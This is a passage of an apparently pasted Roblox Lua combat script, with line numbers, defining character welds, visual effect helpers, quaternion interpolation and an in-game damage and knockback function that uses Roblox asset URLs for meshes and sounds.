1847 | fenbarmana4.BackgroundColor3=Color3.new(0,0,0) | |
1848 | fenbarmana4.SizeConstraint="RelativeXY" | |
1849 | fenbarmana4.TextXAlignment="Center" | |
1850 | fenbarmana4.TextYAlignment="Center" | |
1851 | fenbarmana4.Position=UDim2.new(0,0,-0.3,0) | |
1852 | fenbarmana4.Size=UDim2.new(4,0,0.2,0) | |
1853 | fenbarmana4.FontSize="Size9" | |
1854 | fenbarmana4.TextStrokeTransparency=0 | |
1855 | fenbarmana4.TextColor=BrickColor.new("Bright red") | |
1856 | ||
1857 | mouse=Player:GetMouse() | |
1858 | --save shoulders | |
1859 | RSH, LSH=nil, nil | |
1860 | --welds | |
1861 | RW, LW=Instance.new("Weld"), Instance.new("Weld") | |
1862 | RW.Name="Right Shoulder" LW.Name="Left Shoulder" | |
1863 | LH=Torso["Left Hip"] | |
1864 | RH=Torso["Right Hip"] | |
1865 | TorsoColor=BrickColor.new("Crimson") | |
1866 | function NoOutline(Part) | |
1867 | Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10 | |
1868 | end | |
1869 | player=Player | |
1870 | ch=Character | |
1871 | RSH=ch.Torso["Right Shoulder"] | |
1872 | LSH=ch.Torso["Left Shoulder"] | |
1873 | -- | |
1874 | RSH.Parent=nil | |
1875 | LSH.Parent=nil | |
1876 | -- | |
1877 | RW.Name="Right Shoulder" | |
1878 | RW.Part0=ch.Torso | |
1879 | RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5) | |
1880 | RW.C1=cf(0, 0.5, 0) | |
1881 | RW.Part1=ch["Right Arm"] | |
1882 | RW.Parent=ch.Torso | |
1883 | -- | |
1884 | LW.Name="Left Shoulder" | |
1885 | LW.Part0=ch.Torso | |
1886 | LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8) | |
1887 | LW.C1=cf(0, 0.5, 0) | |
1888 | LW.Part1=ch["Left Arm"] | |
1889 | LW.Parent=ch.Torso | |
1890 | ||
1891 | ||
1892 | function part(formfactor,parent,reflectance,transparency,brickcolor,name,size) | |
1893 | local fp=it("Part") | |
1894 | fp.formFactor=formfactor | |
1895 | fp.Parent=parent | |
1896 | fp.Reflectance=reflectance | |
1897 | fp.Transparency=transparency | |
1898 | fp.CanCollide=false | |
1899 | fp.Locked=true | |
1900 | fp.BrickColor=brickcolor | |
1901 | fp.Name=name | |
1902 | fp.Size=size | |
1903 | fp.Position=Torso.Position | |
1904 | NoOutline(fp) | |
1905 | fp.Material="Neon" | |
1906 | fp:BreakJoints() | |
1907 | return fp | |
1908 | end | |
1909 | ||
1910 | function mesh(Mesh,part,meshtype,meshid,offset,scale) | |
1911 | local mesh=it(Mesh) | |
1912 | mesh.Parent=part | |
1913 | if Mesh=="SpecialMesh" then | |
1914 | mesh.MeshType=meshtype | |
1915 | if meshid~="nil" then | |
1916 | mesh.MeshId="http://www.roblox.com/asset/?id="..meshid | |
1917 | end | |
1918 | end | |
1919 | mesh.Offset=offset | |
1920 | mesh.Scale=scale | |
1921 | return mesh | |
1922 | end | |
1923 | ||
1924 | function weld(parent,part0,part1,c0) | |
1925 | local weld=it("Weld") | |
1926 | weld.Parent=parent | |
1927 | weld.Part0=part0 | |
1928 | weld.Part1=part1 | |
1929 | weld.C0=c0 | |
1930 | return weld | |
1931 | end | |
1932 | ||
1933 | local Color1=BrickColor.new("Bright red") | |
1934 | ||
1935 | local bodvel=Instance.new("BodyVelocity") | |
1936 | local bg=Instance.new("BodyGyro") | |
1937 | ||
1938 | function swait(num) | |
1939 | if num==0 or num==nil then | |
1940 | game:service'RunService'.Stepped:wait(0) | |
1941 | else | |
1942 | for i=0,num do | |
1943 | game:service'RunService'.Stepped:wait(0) | |
1944 | end | |
1945 | end | |
1946 | end | |
1947 | ||
1948 | ||
1949 | so = function(id,par,vol,pit) | |
1950 | coroutine.resume(coroutine.create(function() | |
1951 | local sou = Instance.new("Sound",par or workspace) | |
1952 | sou.Volume=vol | |
1953 | sou.Pitch=pit or 1 | |
1954 | sou.SoundId=id | |
1955 | swait() | |
1956 | sou:play() | |
1957 | game:GetService("Debris"):AddItem(sou,6) | |
1958 | end)) | |
1959 | end | |
1960 | ||
1961 | function clerp(a,b,t) | |
1962 | local qa = {QuaternionFromCFrame(a)} | |
1963 | local qb = {QuaternionFromCFrame(b)} | |
1964 | local ax, ay, az = a.x, a.y, a.z | |
1965 | local bx, by, bz = b.x, b.y, b.z | |
1966 | local _t = 1-t | |
1967 | return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t)) | |
1968 | end | |
1969 | ||
1970 | function QuaternionFromCFrame(cf) | |
1971 | local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components() | |
1972 | local trace = m00 + m11 + m22 | |
1973 | if trace > 0 then | |
1974 | local s = math.sqrt(1 + trace) | |
1975 | local recip = 0.5/s | |
1976 | return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5 | |
1977 | else | |
1978 | local i = 0 | |
1979 | if m11 > m00 then | |
1980 | i = 1 | |
1981 | end | |
1982 | if m22 > (i == 0 and m00 or m11) then | |
1983 | i = 2 | |
1984 | end | |
1985 | if i == 0 then | |
1986 | local s = math.sqrt(m00-m11-m22+1) | |
1987 | local recip = 0.5/s | |
1988 | return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip | |
1989 | elseif i == 1 then | |
1990 | local s = math.sqrt(m11-m22-m00+1) | |
1991 | local recip = 0.5/s | |
1992 | return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip | |
1993 | elseif i == 2 then | |
1994 | local s = math.sqrt(m22-m00-m11+1) | |
1995 | local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip | |
1996 | end | |
1997 | end | |
1998 | end | |
1999 | ||
2000 | function QuaternionToCFrame(px, py, pz, x, y, z, w) | |
2001 | local xs, ys, zs = x + x, y + y, z + z | |
2002 | local wx, wy, wz = w*xs, w*ys, w*zs | |
2003 | local xx = x*xs | |
2004 | local xy = x*ys | |
2005 | local xz = x*zs | |
2006 | local yy = y*ys | |
2007 | local yz = y*zs | |
2008 | local zz = z*zs | |
2009 | return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy)) | |
2010 | end | |
2011 | ||
2012 | function QuaternionSlerp(a, b, t) | |
2013 | local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4] | |
2014 | local startInterp, finishInterp; | |
2015 | if cosTheta >= 0.0001 then | |
2016 | if (1 - cosTheta) > 0.0001 then | |
2017 | local theta = math.acos(cosTheta) | |
2018 | local invSinTheta = 1/math.sin(theta) | |
2019 | startInterp = math.sin((1-t)*theta)*invSinTheta | |
2020 | finishInterp = math.sin(t*theta)*invSinTheta | |
2021 | else | |
2022 | startInterp = 1-t | |
2023 | finishInterp = t | |
2024 | end | |
2025 | else | |
2026 | if (1+cosTheta) > 0.0001 then | |
2027 | local theta = math.acos(-cosTheta) | |
2028 | local invSinTheta = 1/math.sin(theta) | |
2029 | startInterp = math.sin((t-1)*theta)*invSinTheta | |
2030 | finishInterp = math.sin(t*theta)*invSinTheta | |
2031 | else | |
2032 | startInterp = t-1 | |
2033 | finishInterp = t | |
2034 | end | |
2035 | end | |
2036 | return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp | |
2037 | end | |
2038 | ||
2039 | function rayCast(Pos, Dir, Max, Ignore) -- Origin Position , Direction, MaxDistance , IgnoreDescendants | |
2040 | return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore) | |
2041 | end | |
2042 | ||
2043 | function SkullEffect(brickcolor,cframe,x1,y1,z1,delay) | |
2044 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2045 | prt.Anchored=true | |
2046 | prt.CFrame=cframe | |
2047 | local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=4770583",vt(0,0,0),vt(x1,y1,z1)) | |
2048 | --http://www.roblox.com/asset/?id=4770560 | |
2049 | game:GetService("Debris"):AddItem(prt,2) | |
2050 | CF=prt.CFrame | |
2051 | coroutine.resume(coroutine.create(function(Part,Mesh,TehCF) | |
2052 | for i=0,1,0.2 do | |
2053 | wait() | |
2054 | Part.CFrame=CF*cf(0,0,-0.4) | |
2055 | end | |
2056 | for i=0,1,delay do | |
2057 | wait() | |
2058 | --Part.CFrame=CF*cf((math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5) | |
2059 | Mesh.Scale=Mesh.Scale | |
2060 | end | |
2061 | for i=0,1,0.1 do | |
2062 | wait() | |
2063 | Part.Transparency=i | |
2064 | end | |
2065 | Part.Parent=nil | |
2066 | end),prt,msh,CF) | |
2067 | end | |
2068 | ||
2069 | function MagicBlock(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
2070 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2071 | prt.Anchored=true | |
2072 | prt.CFrame=cframe | |
2073 | msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1)) | |
2074 | game:GetService("Debris"):AddItem(prt,5) | |
2075 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2076 | for i=0,1,delay do | |
2077 | wait() | |
2078 | Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
2079 | Part.Transparency=i | |
2080 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2081 | end | |
2082 | Part.Parent=nil | |
2083 | end),prt,msh) | |
2084 | end | |
2085 | ||
2086 | function MagicBlock2(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay) | |
2087 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2088 | prt.Anchored=false | |
2089 | prt.CFrame=cframe | |
2090 | msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1)) | |
2091 | local wld=weld(prt,prt,Parent,cframe) | |
2092 | game:GetService("Debris"):AddItem(prt,5) | |
2093 | coroutine.resume(coroutine.create(function(Part,Mesh,Weld) | |
2094 | for i=0,1,delay do | |
2095 | wait() | |
2096 | Weld.C0=euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))*cframe | |
2097 | --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
2098 | Part.Transparency=i | |
2099 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2100 | end | |
2101 | Part.Parent=nil | |
2102 | end),prt,msh,wld) | |
2103 | end | |
2104 | ||
2105 | function MagicBlock3(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay) | |
2106 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2107 | prt.Anchored=false | |
2108 | prt.CFrame=cframe | |
2109 | msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1)) | |
2110 | local wld=weld(prt,prt,Parent,euler(0,0,0)*cf(0,0,0)) | |
2111 | game:GetService("Debris"):AddItem(prt,5) | |
2112 | coroutine.resume(coroutine.create(function(Part,Mesh,Weld) | |
2113 | for i=0,1,delay do | |
2114 | wait() | |
2115 | Weld.C0=euler(i*20,0,0) | |
2116 | --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
2117 | Part.Transparency=i | |
2118 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2119 | end | |
2120 | Part.Parent=nil | |
2121 | end),prt,msh,wld) | |
2122 | end | |
2123 | ||
2124 | function MagicCircle2(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
2125 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2126 | prt.Anchored=true | |
2127 | prt.CFrame=cframe | |
2128 | local msh=mesh("CylinderMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1)) | |
2129 | game:GetService("Debris"):AddItem(prt,2) | |
2130 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2131 | for i=0,1,delay do | |
2132 | wait() | |
2133 | Part.CFrame=Part.CFrame | |
2134 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2135 | local prt2=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2136 | prt2.Anchored=true | |
2137 | prt2.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
2138 | local msh2=mesh("SpecialMesh",prt2,"Sphere","",vt(0,0,0),vt(0.5,0.5,0.5)) | |
2139 | game:GetService("Debris"):AddItem(prt2,2) | |
2140 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2141 | for i=0,1,0.1 do | |
2142 | wait() | |
2143 | Part.CFrame=Part.CFrame*cf(0,0.5,0) | |
2144 | end | |
2145 | Part.Parent=nil | |
2146 | end),prt2,msh2) | |
2147 | end | |
2148 | for i=0,1,delay*2 do | |
2149 | wait() | |
2150 | Part.CFrame=Part.CFrame | |
2151 | Mesh.Scale=vt((x1+x3)-(x1+x3)*i,(y1+y3)-(y1+y3)*i,(z1+z3)-(z1+z3)*i) | |
2152 | end | |
2153 | Part.Parent=nil | |
2154 | end),prt,msh) | |
2155 | end | |
2156 | ||
2157 | function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
2158 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2159 | prt.Anchored=true | |
2160 | prt.CFrame=cframe | |
2161 | local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1)) | |
2162 | game:GetService("Debris"):AddItem(prt,2) | |
2163 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2164 | for i=0,1,delay do | |
2165 | wait() | |
2166 | Part.CFrame=Part.CFrame | |
2167 | Part.Transparency=i | |
2168 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2169 | end | |
2170 | Part.Parent=nil | |
2171 | end),prt,msh) | |
2172 | end | |
2173 | ||
2174 | function MagicRing(brickcolor,cframe,x1,y1,z1,x2,y2,z2,x3,y3,z3) | |
2175 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2176 | prt.Anchored=true | |
2177 | prt.CFrame=cframe*euler(x2,y2,z2) | |
2178 | --"http://www.roblox.com/asset/?id=168892465" | |
2179 | local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=3270017",vt(0,0,0),vt(x1,y1,z1)) | |
2180 | game:GetService("Debris"):AddItem(prt,2) | |
2181 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2182 | for i=0,1,0.03 do | |
2183 | wait() | |
2184 | Part.CFrame=Part.CFrame | |
2185 | Part.Transparency=i | |
2186 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2187 | end | |
2188 | Part.Parent=nil | |
2189 | end),prt,msh) | |
2190 | end | |
2191 | ||
2192 | function BreakEffect(brickcolor,cframe,x1,y1,z1) | |
2193 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2194 | prt.Anchored=true | |
2195 | prt.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
2196 | local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1)) | |
2197 | game:GetService("Debris"):AddItem(prt,2) | |
2198 | coroutine.resume(coroutine.create(function(Part,CF,Numbb,randnumb) | |
2199 | CF=Part.CFrame | |
2200 | Numbb=0 | |
2201 | randnumb=math.random()/10 | |
2202 | rand1=math.random()/10 | |
2203 | for i=0,1,rand1 do | |
2204 | wait() | |
2205 | CF=CF*cf(0,math.random()/2,0) | |
2206 | --Part.CFrame=Part.CFrame*euler(0.5,0,0)*cf(0,1,0) | |
2207 | Part.CFrame=CF*euler(Numbb,0,0) | |
2208 | Part.Transparency=i | |
2209 | Numbb=Numbb+randnumb | |
2210 | end | |
2211 | Part.Parent=nil | |
2212 | end),prt,CF,Numbb,randnumb) | |
2213 | end | |
2214 | ||
2215 | function MagicWaveThing(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
2216 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2217 | prt.Anchored=true | |
2218 | prt.CFrame=cframe | |
2219 | msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=1051557",vt(0,0,0),vt(x1,y1,z1)) | |
2220 | game:GetService("Debris"):AddItem(prt,5) | |
2221 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2222 | for i=0,1,delay do | |
2223 | wait() | |
2224 | Part.CFrame=Part.CFrame*euler(0,0.7,0) | |
2225 | Part.Transparency=i | |
2226 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2227 | end | |
2228 | Part.Parent=nil | |
2229 | end),prt,msh) | |
2230 | end | |
2231 | ||
2232 | function WaveEffect(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
2233 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2234 | prt.Anchored=true | |
2235 | prt.CFrame=cframe | |
2236 | msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=20329976",vt(0,0,0),vt(x1,y1,z1)) | |
2237 | game:GetService("Debris"):AddItem(prt,2) | |
2238 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
2239 | for i=0,1,delay do | |
2240 | wait() | |
2241 | Part.CFrame=Part.CFrame*cf(0,y3/2,0) | |
2242 | Part.Transparency=i | |
2243 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
2244 | end | |
2245 | Part.Parent=nil | |
2246 | end),prt,msh) | |
2247 | end | |
2248 | ||
2249 | function StravEffect(brickcolor,cframe,x,y,z,x1,y1,z1,delay) | |
2250 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
2251 | prt.Anchored=true | |
2252 | prt.CFrame=cframe*cf(x,y,z) | |
2253 | msh=mesh("SpecialMesh",prt,"FileMesh","rbxassetid://168892363",vt(0,0,0),vt(x1,y1,z1)) | |
2254 | game:GetService("Debris"):AddItem(prt,5) | |
2255 | coroutine.resume(coroutine.create(function(Part,Mesh,ex,why,zee) | |
2256 | local num=math.random() | |
2257 | local num2=math.random(-3,2)+math.random() | |
2258 | local numm=0 | |
2259 | for i=0,1,delay*2 do | |
2260 | swait() | |
2261 | Part.CFrame=cframe*euler(0,numm*num*10,0)*cf(ex,why,zee)*cf(-i*10,num2,0) | |
2262 | Part.Transparency=i | |
2263 | numm=numm+0.01 | |
2264 | end | |
2265 | Part.Parent=nil | |
2266 | Mesh.Parent=nil | |
2267 | end),prt,msh,x,y,z) | |
2268 | end | |
2269 | ||
2270 | Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock) | |
2271 | if hit.Parent==nil then | |
2272 | return | |
2273 | end | |
2274 | h=hit.Parent:FindFirstChild("Humanoid") | |
2275 | for _,v in pairs(hit.Parent:children()) do | |
2276 | if v:IsA("Humanoid") then | |
2277 | h=v | |
2278 | end | |
2279 | end | |
2280 | if hit.Parent.Parent:FindFirstChild("Torso")~=nil then | |
2281 | h=hit.Parent.Parent:FindFirstChild("Humanoid") | |
2282 | end | |
2283 | if hit.Parent.className=="Hat" then | |
2284 | hit=hit.Parent.Parent:findFirstChild("Head") | |
2285 | end | |
2286 | if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then | |
2287 | if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end | |
2288 | --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then | |
2289 | return | |
2290 | end]] | |
2291 | -- hs(hit,1.2) | |
2292 | c=Instance.new("ObjectValue") | |
2293 | c.Name="creator" | |
2294 | c.Value=game:service("Players").LocalPlayer | |
2295 | c.Parent=h | |
2296 | game:GetService("Debris"):AddItem(c,.5) | |
2297 | Damage=math.huge | |
2298 | -- h:TakeDamage(Damage) | |
2299 | blocked=false | |
2300 | block=hit.Parent:findFirstChild("Block") | |
2301 | if block~=nil then | |
2302 | print(block.className) | |
2303 | if block.className=="NumberValue" then | |
2304 | if block.Value>0 then | |
2305 | blocked=true | |
2306 | if decreaseblock==nil then | |
2307 | block.Value=block.Value-1 | |
2308 | end | |
2309 | end | |
2310 | end | |
2311 | if block.className=="IntValue" then | |
2312 | if block.Value>0 then | |
2313 | blocked=true | |
2314 | if decreaseblock~=nil then | |
2315 | block.Value=block.Value-1 | |
2316 | end | |
2317 | end | |
2318 | end | |
2319 | end | |
2320 | if blocked==false then | |
2321 | -- h:TakeDamage(Damage) | |
2322 | h.Health=h.Health-Damage | |
2323 | showDamage(hit.Parent,Damage,.5,TorsoColor) | |
2324 | else | |
2325 | h.Health=h.Health-(Damage/2) | |
2326 | showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright red")) | |
2327 | end | |
2328 | if Type=="Knockdown" then | |
2329 | hum=hit.Parent.Humanoid | |
2330 | hum.PlatformStand=true | |
2331 | coroutine.resume(coroutine.create(function(HHumanoid) | |
2332 | swait(1) | |
2333 | HHumanoid.PlatformStand=false | |
2334 | end),hum) | |
2335 | local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit | |
2336 | --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0) | |
2337 | local bodvol=Instance.new("BodyVelocity") | |
2338 | bodvol.velocity=angle*knockback | |
2339 | bodvol.P=5000 | |
2340 | bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003) | |
2341 | bodvol.Parent=hit | |
2342 | rl=Instance.new("BodyAngularVelocity") | |
2343 | rl.P=3000 | |
2344 | rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 | |
2345 | rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10)) | |
2346 | rl.Parent=hit | |
2347 | game:GetService("Debris"):AddItem(bodvol,.5) | |
2348 | game:GetService("Debris"):AddItem(rl,.5) | |
2349 | elseif Type=="Normal" then | |
2350 | vp=Instance.new("BodyVelocity") | |
2351 | vp.P=500 | |
2352 | vp.maxForce=Vector3.new(math.huge,0,math.huge) | |
2353 | -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback | |
2354 | if KnockbackType==1 then | |
2355 | vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05 | |
2356 | elseif KnockbackType==2 then | |
2357 | vp.velocity=Property.CFrame.lookVector*knockback | |
2358 | end | |
2359 | if knockback>0 then | |
2360 | vp.Parent=hit.Parent.Torso | |
2361 | end | |
2362 | game:GetService("Debris"):AddItem(vp,.5) | |
2363 | elseif Type=="Up" then | |
2364 | local bodyVelocity=Instance.new("BodyVelocity") | |
2365 | bodyVelocity.velocity=vt(0,10,0) | |
2366 | bodyVelocity.P=1000 | |
2367 | bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009) | |
2368 | bodyVelocity.Parent=hit | |
2369 | game:GetService("Debris"):AddItem(bodyVelocity,1) | |
2370 | rl=Instance.new("BodyAngularVelocity") | |
2371 | rl.P=3000 | |
2372 | rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000 | |
2373 | rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20)) | |
2374 | rl.Parent=hit | |
2375 | game:GetService("Debris"):AddItem(rl,.5) | |
2376 | elseif Type=="Snare" then | |
2377 | bp=Instance.new("BodyPosition") | |
2378 | bp.P=2000 | |
2379 | bp.D=100 | |
2380 | bp.maxForce=Vector3.new(math.huge,math.huge,math.huge) | |
2381 | bp.position=hit.Parent.Torso.Position | |
2382 | bp.Parent=hit.Parent.Torso | |
2383 | game:GetService("Debris"):AddItem(bp,1) | |
2384 | elseif Type=="Target" then | |
2385 | if Targetting==false then | |
2386 | ZTarget=hit.Parent.Torso | |
2387 | coroutine.resume(coroutine.create(function(Part) | |
2388 | so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5) | |
2389 | swait(5) | |
2390 | so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5) | |
2391 | end),ZTarget) | |
2392 | TargHum=ZTarget.Parent:findFirstChild("Humanoid") | |
2393 | targetgui=Instance.new("BillboardGui") | |
2394 | targetgui.Parent=ZTarget | |
2395 | targetgui.Size=UDim2.new(10,100,10,100) | |
2396 | targ=Instance.new("ImageLabel") | |
2397 | targ.Parent=targetgui | |
2398 | targ.BackgroundTransparency=1 | |
2399 | targ.Image="rbxassetid://4834067" | |
2400 | targ.Size=UDim2.new(1,0,1,0) | |
2401 | cam.CameraType="Scriptable" | |
2402 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
2403 | dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) | |
2404 | workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
2405 | Targetting=true | |
2406 | RocketTarget=ZTarget | |
2407 | for i=1,Property do | |
2408 | --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do | |
2409 | if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then | |
2410 | swait() | |
2411 | end | |
2412 | --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100) | |
2413 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
2414 | dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) | |
2415 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0) | |
2416 | end | |
2417 | Targetting=false | |
2418 | RocketTarget=nil | |
2419 | targetgui.Parent=nil | |
2420 | cam.CameraType="Custom" | |
2421 | end | |
2422 | end | |
2423 | debounce=Instance.new("BoolValue") | |
2424 | debounce.Name="DebounceHit" | |
2425 | debounce.Parent=hit.Parent | |
2426 | debounce.Value=true | |
2427 | game:GetService("Debris"):AddItem(debounce,Delay) | |
2428 | c=Instance.new("ObjectValue") | |
2429 | c.Name="creator" | |
2430 | c.Value=Player | |
2431 | c.Parent=h | |
2432 | game:GetService("Debris"):AddItem(c,.5) | |
2433 | CRIT=false | |
2434 | hitDeb=true | |
2435 | AttackPos=6 | |
2436 | end | |
2437 | end | |
2438 | ||
2439 | showDamage=function(Char,Dealt,du,Color) | |
2440 | m=Instance.new("Model") | |
2441 | m.Name=tostring(Dealt) | |
2442 | h=Instance.new("Humanoid") | |
2443 | h.Health=0 | |
2444 | h.MaxHealth=0 | |
2445 | h.Parent=m | |
2446 | c=Instance.new("Part") | |
2447 | c.Transparency=0 | |
2448 | c.BrickColor=TorsoColor | |
2449 | c.Name="Head" | |
2450 | c.TopSurface=0 | |
2451 | c.BottomSurface=0 | |
2452 | c.formFactor="Plate" | |
2453 | c.Size=Vector3.new(1,.4,1) | |
2454 | ms=Instance.new("CylinderMesh") | |
2455 | ms.Scale=Vector3.new(.8,.8,.8) | |
2456 | so("http://www.roblox.com/asset/?id=199149269",c,1,1) | |
2457 | if CRIT==true then | |
2458 | ms.Scale=Vector3.new(1,1.25,1) | |
2459 | end | |
2460 | ms.Parent=c | |
2461 | c.Reflectance=0 | |
2462 | Instance.new("BodyGyro").Parent=c | |
2463 | c.Parent=m | |
2464 | if Char:findFirstChild("Head")~=nil then | |
2465 | c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0)) | |
2466 | elseif Char.Parent:findFirstChild("Head")~=nil then | |
2467 | c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0)) | |
2468 | end | |
2469 | f=Instance.new("BodyPosition") | |
2470 | f.P=2000 | |
2471 | f.D=100 | |
2472 | f.maxForce=Vector3.new(math.huge,math.huge,math.huge) | |
2473 | f.position=c.Position+Vector3.new(0,3,0) | |
2474 | f.Parent=c | |
2475 | game:GetService("Debris"):AddItem(m,.5+du) | |
2476 | c.CanCollide=false | |
2477 | m.Parent=workspace | |
2478 | c.CanCollide=false | |
2479 | end | |
2480 | ||
2481 | Player=game:GetService('Players').LocalPlayer | |
2482 | Character=Player.Character | |
2483 | Mouse=Player:GetMouse() | |
2484 | m=Instance.new('Model',Character) | |
2485 | ||
2486 | ||
2487 | local function weldBetween(a, b) | |
2488 | local weldd = Instance.new("ManualWeld") | |
2489 | weldd.Part0 = a | |
2490 | weldd.Part1 = b | |
2491 | weldd.C0 = CFrame.new() | |
2492 | weldd.C1 = b.CFrame:inverse() * a.CFrame | |
2493 | weldd.Parent = a | |
2494 | return weldd | |
2495 | end | |
2496 | ||
2497 | it=Instance.new | |
2498 | ||
2499 | function nooutline(part) | |
